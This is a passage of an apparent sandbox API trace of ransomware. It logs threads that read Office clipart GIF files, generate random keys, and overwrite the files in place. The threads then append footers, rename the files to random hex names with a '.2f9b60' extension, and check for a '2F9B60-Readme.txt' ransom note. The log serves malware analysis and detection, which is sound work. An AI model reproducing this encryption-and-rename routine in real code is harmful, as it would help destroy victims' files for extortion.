Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x20d20015 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x206ce6cd [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x3409d6ef [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x17873e1a [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x31b99204 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x764fbc8f [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x11eedfec [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0xeb7f4ed [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x50891c9e [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x313bfe45 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x3e0b020c [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x295c0ac2 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0xf235951 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x15818b54 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0xb6dce68 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x76227c7a [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x7613a2b2 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x3946a2b7 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x4ccf5bed [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x554c57ce [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x4a754916 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x722dcb54 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x1484009a [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x7aa5da94 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x178c3abc [0096.223] ReadFile (in: hFile=0xe0c, lpBuffer=0x201c85a0, nNumberOfBytesToRead=0x2340, lpNumberOfBytesRead=0x2999f550, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesRead=0x2999f550*=0x2340, lpOverlapped=0x0) returned 1 [0096.265] SetFilePointerEx (in: hFile=0xe0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.265] WriteFile (in: hFile=0xe0c, lpBuffer=0x2018c1b0*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2999f554, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesWritten=0x2999f554*=0x2340, lpOverlapped=0x0) returned 1 [0096.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a10 [0096.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8040 [0096.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8040) returned 1 [0096.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0096.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c85a0) returned 1 [0096.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0096.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0096.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8040 [0096.288] SetFilePointerEx (in: hFile=0xe0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.288] WriteFile (in: hFile=0xe0c, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2999f670, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x2999f670*=0x10a, lpOverlapped=0x0) returned 1 [0096.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0096.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e470 [0096.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0096.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860600) returned 1 [0096.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0096.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0096.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0096.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860660) returned 1 [0096.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0096.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0096.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee70 [0096.318] sprintf (in: _Dest=0x1cd9ee70, _Format="%c%c" | out: _Dest="88") returned 2 [0096.318] sprintf (in: _Dest=0x1cd9ee72, _Format="%c%c" | out: _Dest="d4") returned 2 [0096.318] sprintf (in: _Dest=0x1cd9ee74, _Format="%c%c" | out: _Dest="34") returned 2 [0096.318] sprintf (in: _Dest=0x1cd9ee76, _Format="%c%c" | out: _Dest="b0") returned 2 [0096.318] sprintf (in: _Dest=0x1cd9ee78, _Format="%c%c" | out: _Dest="42") returned 2 [0096.318] sprintf (in: _Dest=0x1cd9ee7a, _Format="%c%c" | out: _Dest="76") returned 2 [0096.318] sprintf (in: _Dest=0x1cd9ee7c, _Format="%c%c" | out: _Dest="66") returned 2 [0096.318] sprintf (in: _Dest=0x1cd9ee7e, _Format="%c%c" | out: _Dest="8a") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee80, _Format="%c%c" | out: _Dest="71") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee82, _Format="%c%c" | out: _Dest="b2") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee84, _Format="%c%c" | out: _Dest="21") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee86, _Format="%c%c" | out: _Dest="d5") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee88, _Format="%c%c" | out: _Dest="f8") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee8a, _Format="%c%c" | out: _Dest="a1") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee8c, _Format="%c%c" | out: _Dest="ae") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee8e, _Format="%c%c" | out: _Dest="ab") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee90, _Format="%c%c" | out: _Dest="3e") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee92, _Format="%c%c" | out: _Dest="f0") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee94, _Format="%c%c" | out: _Dest="7f") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee96, _Format="%c%c" | out: _Dest="7d") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee98, _Format="%c%c" | out: _Dest="3f") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee9a, _Format="%c%c" | out: _Dest="b4") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee9c, _Format="%c%c" | out: _Dest="59") returned 2 [0096.319] sprintf (in: _Dest=0x1cd9ee9e, _Format="%c%c" | out: _Dest="2c") returned 2 [0096.319] RtlInitAnsiString (in: DestinationString=0x2999f6e8, SourceString="88d434b04276668a71b221d5f8a1aeab3ef07f7d3fb4592c" | out: DestinationString="88d434b04276668a71b221d5f8a1aeab3ef07f7d3fb4592c") [0096.319] RtlAnsiStringToUnicodeString (in: DestinationString=0x2999f6b8, SourceString="88d434b04276668a71b221d5f8a1aeab3ef07f7d3fb4592c", AllocateDestinationString=1 | out: DestinationString="88d434b04276668a71b221d5f8a1aeab3ef07f7d3fb4592c") returned 0x0 [0096.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863e30 [0096.319] wcscat (in: _Dest=0x1b7ae380, _Source="88d434b04276" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\88d434b04276") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\88d434b04276" [0096.319] wcscat (in: _Dest=0x1b7ae380, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\88d434b04276.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\88d434b04276.2f9b60" [0096.319] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\88d434b04276.2f9b60", NtPathName=0x2999f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\88d434b04276.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202782f0 [0109.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202782f0) returned 1 [0109.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a110) returned 1 [0109.564] NtQueryInformationFile (in: FileHandle=0xe0c, IoStatusBlock=0x2999f6f8, FileInformation=0x2999f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2999f6f8, FileInformation=0x2999f708) returned 0x0 [0109.565] NtSetInformationFile (FileHandle=0xe0c, IoStatusBlock=0x2999f6f8, FileInformation=0x2999f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae380) returned 1 [0109.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863e30) returned 1 [0109.569] FlushFileBuffers (hFile=0xe0c) returned 1 [0109.581] CloseHandle (hObject=0xe0c) returned 1 [0109.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ae2e0 [0109.582] wcscpy (in: _Dest=0x1b7ae2e0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.582] wcscat (in: _Dest=0x1b7ae2e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae2e0) returned 1 [0109.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c9f0) returned 1 Thread: id = 636 os_tid = 0x10d4 [0095.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0096.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF", dwFileAttributes=0x20) returned 1 [0096.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe80 [0096.065] GetFileSizeEx (in: hFile=0xe80, lpFileSize=0x29a1fd00 | out: lpFileSize=0x29a1fd00*=7216) returned 1 [0096.065] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x1c2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.065] ReadFile (in: hFile=0xe80, lpBuffer=0x29a1fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29a1fcc8, lpOverlapped=0x0 | out: lpBuffer=0x29a1fc80*, lpNumberOfBytesRead=0x29a1fcc8*=0x4, lpOverlapped=0x0) returned 1 [0096.082] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0096.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0096.083] NtQuerySystemTime (in: CurrentTime=0x29a1fbc0 | out: CurrentTime=0x29a1fbc0*=132462177019222000) returned 0x0 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x744c8617 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x5b0cdae6 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x4727c063 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x37b55f89 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x28b6a209 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x73d60623 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x20d56f8d [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x560254fa [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x3d194a2c [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x346fd112 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x31c1aa3 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0xa5039f0 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x38590916 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x17ddf2cc [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x153f481a [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0xd8957d6 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0xf10ae66 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x12a8e0fd [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x1f26b273 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x21d32ef6 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x1effef4a [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x111cbd3a [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x624ab23 [0096.083] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0xab30727 [0096.084] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x6867a1a6 [0096.084] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x3f697f04 [0096.084] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x7ced0569 [0096.084] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x15fbe999 [0096.084] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x2e8c4a02 [0096.084] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x7f3478c3 [0096.084] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x7b7caf32 [0096.084] RtlRandomEx (in: Seed=0x29a1fbb0 | out: Seed=0x29a1fbb0) returned 0x53a8b0d4 [0096.094] ReadFile (in: hFile=0xe80, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x1c30, lpNumberOfBytesRead=0x29a1fbb0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x29a1fbb0*=0x1c30, lpOverlapped=0x0) returned 1 [0096.187] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.187] WriteFile (in: hFile=0xe80, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x29a1fbb4, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x29a1fbb4*=0x1c30, lpOverlapped=0x0) returned 1 [0100.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e30 [0100.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261520 [0100.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261520) returned 1 [0100.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0100.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0100.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0100.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0100.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261520 [0100.974] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.974] WriteFile (in: hFile=0xe80, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x29a1fcd0, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x29a1fcd0*=0x10a, lpOverlapped=0x0) returned 1 [0105.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff10 [0105.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff10) returned 1 [0105.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff10 [0105.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0105.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0105.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0105.325] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="d7") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="54") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="3e") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="69") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="88") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="64") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="cd") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="74") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="14") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="d0") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="fc") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="0e") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="4d") returned 2 [0105.325] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="8b") returned 2 [0105.326] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="06") returned 2 [0105.326] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="e4") returned 2 [0105.326] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="3a") returned 2 [0105.326] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="d9") returned 2 [0105.326] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="72") returned 2 [0105.326] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="e0") returned 2 [0105.326] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="7a") returned 2 [0105.326] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="81") returned 2 [0105.326] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="fc") returned 2 [0105.326] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="c6") returned 2 [0105.326] RtlInitAnsiString (in: DestinationString=0x29a1fd48, SourceString="d7543e698864cd7414d0fc0e4d8b06e43ad972e07a81fcc6" | out: DestinationString="d7543e698864cd7414d0fc0e4d8b06e43ad972e07a81fcc6") [0105.326] RtlAnsiStringToUnicodeString (in: DestinationString=0x29a1fd18, SourceString="d7543e698864cd7414d0fc0e4d8b06e43ad972e07a81fcc6", AllocateDestinationString=1 | out: DestinationString="d7543e698864cd7414d0fc0e4d8b06e43ad972e07a81fcc6") returned 0x0 [0105.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b864760 [0105.326] wcscat (in: _Dest=0x202b1730, _Source="d7543e698864" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7543e698864") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7543e698864" [0105.326] wcscat (in: _Dest=0x202b1730, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7543e698864.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7543e698864.2f9b60" [0105.327] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7543e698864.2f9b60", NtPathName=0x29a1fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7543e698864.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279430 [0109.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279430) returned 1 [0109.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42050510) returned 1 [0109.749] NtQueryInformationFile (in: FileHandle=0xe80, IoStatusBlock=0x29a1fd58, FileInformation=0x29a1fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29a1fd58, FileInformation=0x29a1fd68) returned 0x0 [0109.749] NtSetInformationFile (FileHandle=0xe80, IoStatusBlock=0x29a1fd58, FileInformation=0x29a1fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1730) returned 1 [0109.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864760) returned 1 [0109.767] FlushFileBuffers (hFile=0xe80) returned 1 [0109.790] CloseHandle (hObject=0xe80) returned 1 [0109.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1730 [0109.791] wcscpy (in: _Dest=0x202b1730, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.791] wcscat (in: _Dest=0x202b1730, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1730) returned 1 [0109.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bc70) returned 1 Thread: id = 637 os_tid = 0x10d8 [0095.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0096.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF", dwFileAttributes=0x20) returned 1 [0096.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xef4 [0096.067] GetFileSizeEx (in: hFile=0xef4, lpFileSize=0x235bf6a0 | out: lpFileSize=0x235bf6a0*=14873) returned 1 [0096.067] SetFilePointerEx (in: hFile=0xef4, liDistanceToMove=0x3a15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.067] ReadFile (in: hFile=0xef4, lpBuffer=0x235bf620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x235bf668, lpOverlapped=0x0 | out: lpBuffer=0x235bf620*, lpNumberOfBytesRead=0x235bf668*=0x4, lpOverlapped=0x0) returned 1 [0096.227] SetFilePointerEx (in: hFile=0xef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.227] RtlAllocateHeap 